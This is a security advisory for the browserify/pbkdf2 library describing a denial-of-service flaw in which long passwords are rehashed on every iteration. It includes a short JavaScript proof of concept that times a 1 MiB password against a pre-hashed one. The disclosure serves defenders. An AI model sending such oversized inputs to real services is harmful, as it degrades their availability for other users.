browserify/pbkdf2 · Security
pbkdf2 rehashes long passwords on every iteration, enabling denial of service
- GHSA ID
- GHSA-477h-4r7f-fvrx
- CVE ID
- CVE-2026-102414
- Severity
- medium
- Published
- Updated
- CVSS
- 3.7 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
- CVSS v3
- 3.7 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
- CVSS v4
- 6.3 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Description
Summary
This is the same bug as Django had (CVE-2013-1443).
Details
A long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteration: https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/lib/sync.js#L60
Also see https://github.com/browserify/pbkdf2/issues/82
PoC
The first key will take a lot longer to generate when not using the native code and uses code from /lib/sync.js (ie when this if statement is true):
https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/index.js#L33-L37
var pbkdf2 = require('pbkdf2');
var createHash = require('create-hash');
var pw = ".".repeat(1048576); // 1 MiB
var t0 = performance.now();
var key1 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t1 = performance.now();
pw = createHash('sha256').update(pw).digest(); // HMAC specification for keys larger than block size
var key2 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t2 = performance.now();
console.log("First took: " + (t1 - t0));
console.log("Second took: " + (t2 - t1));
console.log("Generated keys:");
console.log(key1);
console.log(key2);
Impact
DoS
CWEs
- CWE-400 · Uncontrolled Resource Consumption
References
- https://github.com/browserify/pbkdf2/security/advisories/GHSA-477h-4r7f-fvrx ↗
- https://nvd.nist.gov/vuln/detail/CVE-2026-102414 ↗
- https://github.com/browserify/pbkdf2/issues/82 ↗
- https://github.com/browserify/pbkdf2/commit/493d8d8ff437f680338bf7397398fda884ad462e ↗
- https://github.com/advisories/GHSA-477h-4r7f-fvrx ↗